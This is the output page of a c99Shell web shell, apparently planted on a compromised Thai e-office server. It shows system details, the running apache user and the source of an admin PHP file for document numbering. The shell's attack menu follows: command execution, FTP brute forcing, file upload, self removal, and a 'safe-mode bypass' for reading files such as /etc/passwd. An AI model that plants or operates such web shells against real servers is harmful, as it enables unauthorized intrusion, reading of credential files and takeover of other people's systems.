!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk_joice2222/eoffice/admin/   drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     runningTypeDoc.php (13.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsReceiveSendType.php";
include_once 
"../class/clsRunningDoc.php";
include_once 
"../class/clsDocType.php";
include_once 
"funct.php";
include_once 
"../link/keyThai.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPS = new person($oC);
$oRd = new runningdoc($oC);
$oRd2 = new runningdoc($oC);
$oDt = new doctype($oC);

$InputThai=$oSys->SearchByInputThai();
$maxgroup=$oDP->SearchMaxDocGroup();
$oRt->SearchByconfirm($maxgroup,$deptId);
$oRt->GetRecord();
$confirm=$oRt->confirm;
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<iframe id="addrunningTypeDoc" name="addrunningTypeDoc" src="" style="width:$0px;height:0px;border:0"></iframe>
<br>
<table  width=703  align="center">
<tr><td height="150">
<fieldset>
       <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">ตั้งค่าการใช้งานระบบ</a>
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="?mm=1">ตั้งค่าหนังสือราชการ</a>
<img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">ตั้งค่าชนิดหนังสือราชการ</font></legend><br>
       <form name="ff" action="processRunningTypeDoc.php" method="post" target="addrunningTypeDoc">
       <table width="87%" height="21" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
            <tr><td width="13%" align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>"><strong>หน่วยงาน :: </strong>
       </font></td>
                  <td width="87%">
                   <select name="deptId" onChange='return showdept();' >
                      <option value="0">- เลือกหน่วยงาน -</option>
                      <? $oDP->SearchBydeptDateDocGroup($oDP->SearchMaxDocGroup());
                            while(
$oDP->GetRecord()){?>
                      <option value="<? echo $oDP->deptId;?><? if($oDP->deptId==$deptId){   echo "selected";  }?>><? echo $oDP->deptName?></option>
                      <? ?>
                    </select>
                    <input type="hidden" name="showdeptId">
                    </td>
                </tr> 
            </table>
<? if($deptId!="" && $deptId!="0"){ ?><br>
       <table width="95%" height="22" border="0" align="center"><tr>
       <? if($s=="1"){ ?>
       <td align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><strong>    
            บันทึกข้อมูลเลขหนังสือเรียบร้อยแล้ว</strong></font></td>
        <? 
              if(
$c=="1"){ 
        
?>
        <td align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><strong>    
            ยืนยันการใช้งานข้อมูลเลขทะเบียนหนังสือเรียบร้อยแล้ว</strong></font></td>
        <? ?>
            </tr>
        <tr><td>&nbsp;</td></tr>
       </table>
      <table width="98%" height="22" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_17'];?>">
      <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_15'];?>" height="22">
          <td width="26%"  align="center"><strong>ชนิดหนังสือราชการ</strong></td>
              <td width="10%"  align="center"><strong>เลขหนังสือ<br>รับเริ่มต้น</strong></td>
            <td width="10%" align="center"><strong>เลขหนังสือ<br>รับปัจจุบัน</strong></td>
            <td width="10%"  align="center"><strong>เลขหนังสือ<br>ส่งเริ่มต้น</strong></td>
            <td width="10%" align="center"><strong>เลขหนังสือ<br>ส่งปัจจุบัน</strong></td>
            <td width="18%"  align="center"><strong>คำนำหน้า<br>
              ที่หนังสือ<br>
              ส่ง-ภายใน<br>
              </strong><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><a href="#info_docNo">[ดูรูปแบบด้านล่าง]</a></font></td>
            <td width="18%" align="center"><strong>คำลงท้าย<br>ที่หนังสือ<br>ส่ง-ภายใน</strong><br><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><a href="#info_docNo">[ดูรูปแบบด้านล่าง]</a></font></td>
      </tr>
      <? $oDt->RSdoctype(); $i=0;
              while(
$oDt->GetRecord()){
                    if(
$oDt->DtP=="1"){  ?>
         <tr height=22><td colspan="7">&nbsp;&nbsp;<strong><? echo $oDt->DtName;?></strong></td>
        </tr>
        <? }else{ 
            
$oRt->SearchBydeptIddocGroupDtID($deptId,$maxgroup,$oDt->DtID);
            
$oRt->GetRecord();
        
?>
          <tr height=22><td>&nbsp;&nbsp;<? if($oDt->DtPDtID!="0"){  echo "&nbsp;&nbsp;-&nbsp;"; }else{  echo "<strong>"; }echo $oDt->DtName;  if($oDt->DtPDtID=="0"){  echo "</strong>"; }?></td>
              <td  align="center"><? if($confirm=="Y"){ if($oRt->receiveNoStart!="0"){  echo $oRt->receiveNoStart; }  }else{ ?>
            <input name="receiveNoStart[<? echo $oDt->DtID?>]" type="text" size="5" maxlength="11" value="<? echo $oRt->receiveNoStart;  ?>
            onKeyPress="event.keyCode=CheckInput(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;" style=text-align:center><? ?></td>
            <td align="center"><? if($confirm=="Y"){ if($oRt->receiveNoStart!="0"){ echo  $oRt->receiveNo; }   }else{   echo $oRt->receiveNo; } ?></td>
            <td  align="center"><? if($confirm=="Y"){  if($oRt->sendNoStart!="0"){ echo $oRt->sendNoStart;  } }else{ ?>
            <input name="sendNoStart[<? echo $oDt->DtID?>]" type="text" size="5" maxlength="11" value="<? echo $oRt->sendNoStart?>
            onKeyPress="event.keyCode=CheckInput(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;"" style=text-align:center><? ?></td>
            <td align="center"><? if($confirm=="Y"){ if($oRt->sendNoStart!="0"){ echo  $oRt->sendNo; }   }else{   echo $oRt->sendNo; } ?></td>
            <td  align="center"><? if($confirm=="Y"){ echo $oRt->sendNoPrefix; }else{ ?>
            <input name="sendNoPrefix[<? echo $oDt->DtID?>]" type="text" size="17" maxlength="32" value="<?  echo $oRt->sendNoPrefix?>"><? ?></td>
            <td align="center"><? if($confirm=="Y"){ echo $oRt->sendNoSuffix; }else{ ?>
            <input name="sendNoSuffix[<? echo $oDt->DtID?>]" type="text"size="15" maxlength="32" value="<? echo $oRt->sendNoSuffix?>"><? ?></td>
      </tr>
      <? $i++;  } ?>
      </table>
      <br>
      <table width="98%" height="22" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_16'];?>">
      <tr><? $oDP->SearchByKey($deptId);  $oDP->GetRecord();  ?>
            <td align="left"><strong>&nbsp;&nbsp;เลขที่หน่วยงาน ::&nbsp;<? if($confirm=="Y"){  if($oDP->deptNo!=""){ echo $oDP->deptNo; }else{  echo "-"; } }else{ ?>
            <input name="deptNo" type="text" size="5" maxlength="11" value="<? echo $oDP->deptNo;  ?>
            onKeyPress="event.keyCode=CheckInput(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;" style=text-align:center><? ?></strong>
            <br>&nbsp;&nbsp;<font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"> ** เลขที่หน่วยงานนี้จะใช้เป็นข้อมูลส่วนหนึ่งของที่หนังสือส่งภายใน เช่น <? echo $GLOBALS['DOCNO_PREFIX']; ?>/01 **</font>
            </td>
          </tr>
      </table>
        <a name="info_docNo"><br>
      <table width="100%" height="137" border="0" align="center" cellpadding="0" cellspacing="0" ><tr>
            <td height="135"> <table width="98%" height="137" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse" >
                <tr> 
                  <td width="50%" height="135"> <table width="100%" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_12'];?>">
                      <tr> 
                        <td width="52%" align="left"><img src="../picture/addc.gif" alt=""  border="0" style="cursor:pointer;" onClick = "editWpDept('<? echo $oDP->deptId?>','<? echo $oWG->workGpId?>')"> 
                          <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"> 
                          &nbsp;<strong>รูปแบบการกำหนดค่าคำนำหน้า/คำลงท้าย </strong></font></td>
                      </tr>
                      <tr height="23"> 
                        <td align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"> 
                          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong> ที่หนังสือส่ง 
                          - ภายใน</strong></font></td>
                      </tr>
                      <tr height="23"> 
                        <td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>%o &nbsp;เลขที่องค์กร เช่น &nbsp;<? echo $GLOBALS['DOCNO_PREFIX']; ?></strong></td>
                      </tr>
                      <tr height="23"> 
                        <td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>%d &nbsp;เลขที่หน่วยงาน</strong></td>
                      </tr>
                      <tr height="23"> 
                        <td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>%r &nbsp; 
                          เลขทะเบียนหนังสือ</strong></td>
                      </tr>
                      <tr height="23"> 
                        <td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>%y &nbsp;ปี 
                          (พ.ศ.)</strong></td>
                      </tr>
                    </table></td>
                  <td width="50%" >
                   <table width="100%" bgcolor="<?php echo $GLOBALS['COLOR_BG_TABLE_5'];?>">
                      <tr> 
                        <td width="52%" align="left"><img src="../picture/blank1.gif" alt="" width="19" height="23"  border="0" style="cursor:pointer;" onClick = "editWpDept('<? echo $oDP->deptId?>','<? echo $oWG->workGpId?>')"> 
                          <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"> 
                          <strong>ตัวอย่าง คำนำหน้า/คำลงท้ายที่หนังสือส่ง - ภายใน</strong></font></td>
                      </tr>
                       <tr height="23"> 
                        <td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>%o/%d/%r</strong> 
                         &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp; &nbsp;<? echo $GLOBALS['DOCNO_PREFIX']; ?>/01/158</td>
                      </tr>
                      <tr height="23"> 
                        <td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>%o/%y/%r/%d 
                          </strong> &nbsp;&nbsp;=&gt;&nbsp;&nbsp;&nbsp;<? echo $GLOBALS['DOCNO_PREFIX']; ?>/2550/158/01</td>
                      </tr>
                      <tr height="23"> 
                        <td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>%r/%y</strong> 
                         &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
                          =&gt;&nbsp;&nbsp;&nbsp;158/2550</td>
                      </tr>
                      <tr height="23"> 
                        <td>&nbsp;&nbsp;</td>
                      </tr>
                      <tr height="23"> 
                        <td>&nbsp;&nbsp;&nbsp;&nbsp;</td>
                      </tr>
                    </table>
                  </td>
                </tr>
              </table></td>
          </tr>
       </table>
      </a>
      <br>
      <table align="center">

      <tr><td colspan="2" align="center">
                  <input type="submit" name="setrunningDoc" value="บันทึก" onClick="return checkFormat();" <? if($confirm=="Y"){ echo "disabled"; } ?>>        
                <input type="button" name="cancel" value="ยกเลิก" onClick="location.href = '?mm=1'">
                <? if($oRt->CountdocGroupdept($maxgroup,$deptId)!="0"){ ?>
                <input type="submit" name="setrunningDoc" value="ยืนยันการใช้งาน" onClick="return checkFormat2();" <? if($confirm=="Y"){ echo "disabled"; } ?>>
                <? ?>
                <input type="hidden" name="docGroup" value="<? echo $maxgroup?>" >
                <input type="hidden" name="method">
                
            </td></tr>
      </table></form>
<? ?><br><br>
</fieldset>
<? if($deptId!="" && $deptId!="0"){ ?>
<table width="704" border="0" align="center">
        <tr> 
          <td width="80"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="614"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">- 
            กรณีหน่วยงานใดที่ไม่ใส่ข้อมูลเลขหนังสือราชการหรือที่หนังสือราชการ  ในช่อง </font><input name="textfield" type="text" size="5" maxlength="2" disabled>
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;</font></td>
        </tr>
        <tr> 
          <td width="80">&nbsp;</td>
          <td width="614"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp; 
            จะหมายถึงหน่วยงานนั้นไม่มีข้อมูลเลขหนังสือนั้น</font></td>
        </tr>
      </table>
      <? ?>
</td>
</tr>
</table>
</body>
</html>

<script language="javascript">
function checkFormat(){
        var agree=confirm("คุณต้องการบันทึกข้อมูลเลขหนังสือใช่หรือไม่ ?");
        if (agree){
            return true ;
        }else{
            return false ;
        }    
}
function checkFormat2(p){
        window.alert("หมายเหตุ :: เมื่อกดยืนยันการใช้งานแล้ว\nจะไม่สามารถเปลี่ยนแปลงข้อมูลเลขชนิดหนังสือราชการ \n และที่หนังสือราชการนี้ได้อีก");
        var agree=confirm("คุณต้องการยืนยันการใช้งานข้อมูลเลขหนังสือนี้ใช่หรือไม่ ?");
        if (agree){
            document.ff.method.value="confirm";
            return true ;
        }else{
            return false ;
        }    
}
function showdept(){
    document.ff.showdeptId.value="1";
    document.ff.submit();
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.013 ]--